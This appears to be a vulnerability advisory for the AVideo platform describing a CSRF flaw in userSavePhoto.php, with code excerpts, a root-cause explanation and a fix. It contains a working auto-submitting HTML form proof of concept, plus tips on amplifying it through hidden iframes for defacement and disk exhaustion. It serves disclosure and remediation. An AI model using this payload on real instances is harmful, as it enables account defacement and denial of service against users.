AVideo: CSRF in userSavePhoto.php Allows Cross-Origin Overwrite of Authenticated Users' Profile Photos with Arbitrary Content

Summary

objects/userSavePhoto.php is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to videos/userPhoto/photo<users_id>.png. Its only access control is User::isLogged(). It does not end in .json.php, so it is excluded from the project's global autoCSRFGuard (which is suffix-scoped in objects/include_config.php). There is no CSRF token, no Origin/Referer check, and no MIME validation of the decoded bytes. Because AVideo's default cookie policy is SameSite=None; Secure on HTTPS (objects/functionsPHP.php:227), an attacker who lures a logged-in user to a malicious page can overwrite that user's profile photo with arbitrary bytes and also triggers a site-wide clearCache(true) on every forged request.

Details

Handler (objects/userSavePhoto.php, 51 lines total):

// line 12 - only access control
if (!User::isLogged()) {
    $obj->msg = __("You must be logged");
    die(json_encode($obj));
}
// ...
// line 29 - unvalidated base64 from POST
$fileData = base64DataToImage($_POST['imgBase64']);
// line 30 - deterministic filename tied to the VICTIM's session
$fileName = 'photo'. User::getId().'.png';
$photoURL = $imagePath.$fileName;
// line 35 - raw bytes written to disk
$bytes = file_put_contents($global['systemRootPath'].$photoURL, $fileData);
// lines 43-48 - DB update + global cache invalidation unconditionally
$user = new User(User::getId());
$user->setPhotoURL($photoURL);
if ($user->save()) {
    User::deleteOGImage(User::getId());
    User::updateSessionInfo();
    clearCache(true);
}

base64DataToImage (objects/functionsImages.php:1026) performs no content validation:

function base64DataToImage($imgBase64) {
    $img = $imgBase64;
    $img = str_replace('data:image/png;base64,', '', $img);
    $img = str_replace(' ', '+', $img);
    return base64_decode($img);
}

There is no call to getimagesizefromstring, imagecreatefromstring, or MIME detection. Arbitrary bytes up to post_max_size are accepted.

Why the global CSRF guard does not apply. objects/include_config.php (around line 314) only invokes autoCSRFGuard when the script filename matches *.json.php:

if (... $_SERVER['REQUEST_METHOD'] === 'POST' &&
    substr($baseName, -9) === '.json.php') {
    autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']);
}

userSavePhoto.php is missing the .json.php suffix, so neither autoCSRFGuard nor forbidIfIsUntrustedRequest runs. There is no explicit call to any of these in the file (verified by grep: no getCSRF, no forbidIfIsUntrustedRequest, no HTTP_ORIGIN, no HTTP_REFERER). Routing rewrites in .htaccess also expose this handler as /savePhoto.

Why the victim's cookie is sent cross-origin. objects/functionsPHP.php:227:

function _getCookieSameSiteValue($secure) {
    return $secure ? 'None' : 'Lax';
}

On HTTPS (the expected deployment), session cookies default to SameSite=None; Secure, which browsers attach to cross-site POSTs. A plain application/x-www-form-urlencoded form POST is a "simple request" under CORS rules and does not trigger a preflight, so the browser sends the POST and its cookie without the server having to opt in.

PoC

1. Victim logs into the AVideo instance (e.g., https://victim.example.com). PHPSESSID is set with SameSite=None; Secure.
2. Attacker hosts the following HTML on any domain:

<!doctype html>
<html><body>
<form id="f" action="https://victim.example.com/objects/userSavePhoto.php" method="POST">
  <!-- Any bytes: here, 'HELLO WORLD' base64-encoded -->
  <input name="imgBase64" value="SEVMTE8gV09STEQ=">
</form>
<script>document.forms[0].submit();</script>
</body></html>

3. Victim visits the attacker page in the same browser. The form auto-submits. The browser sends the POST with the victim's session cookie.
4. userSavePhoto.php passes the User::isLogged() check, decodes the base64, and writes the raw bytes to videos/userPhoto/photo<VICTIM_USERS_ID>.png. It also calls $user->save(), User::deleteOGImage(), User::updateSessionInfo(), and clearCache(true).
5. Fetching https://victim.example.com/videos/userPhoto/photo<VICTIM_USERS_ID>.png (the file is now the attacker's bytes — HELLO WORLD in this test case). The response is 200 OK and the body equals the submitted bytes.

Replace the imgBase64 payload with a valid PNG to make the defacement visually persuasive, or with up to ~6 MB of any bytes to force a large write.

Impact

• Integrity — profile defacement of any logged-in user. One click lets an attacker replace a victim's profile photo with arbitrary bytes: offensive imagery, misleading branding, or a clone of another user's photo for impersonation. The file path is deterministic (photo<users_id>.png), so the attacker can later direct others to the overwritten URL.
• Availability — global cache thrash. Every successful forged request calls clearCache(true), invalidating application-wide caches. Repeatedly tricking logged-in users into visiting the attacker page (e.g., by including the payload as a hidden iframe on a popular site) produces sustained cache invalidation.
• Availability — disk pressure. With no size cap beyond PHP's post_max_size (default 8 MB → ~6 MB after base64 decode), each forged submission writes a multi-megabyte file. Across many victims this enables distributed disk exhaustion.
• No confidentiality impact and no code execution (files are served with Content-Type: image/png based on extension, so SVG-with-script payloads are not interpreted).
• Related endpoints. objects/userSaveBackground.php exhibits the same pattern (same base64DataToImage sink, same lack of CSRF/Origin/MIME checks) and is exploitable identically; fix should be applied consistently.

Recommended Fix

Apply the existing same-origin guard that protects the *.json.php endpoints and add content validation. In objects/userSavePhoto.php, immediately after the login check:

require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest('userSavePhoto');

$raw = $_POST['imgBase64'] ?? '';
if (strlen($raw) > 2 * 1024 * 1024) { // ~1.5 MB decoded cap
    $obj->msg = __('Image too large');
    die(json_encode($obj));
}
$fileData = base64DataToImage($raw);
if ($fileData === false || $fileData === '' || @imagecreatefromstring($fileData) === false) {
    $obj->msg = __('Invalid image');
    die(json_encode($obj));
}

The longer-term fix is to broaden the global guard in objects/include_config.php so that autoCSRFGuard covers every authenticated POST handler, not only those whose filenames end in .json.php — the current suffix-based gating is a footgun that silently excludes legacy endpoints like userSavePhoto.php and userSaveBackground.php. Also consider moving the clearCache(true) call inside the if ($bytes) branch so that zero-byte writes do not invalidate the global cache.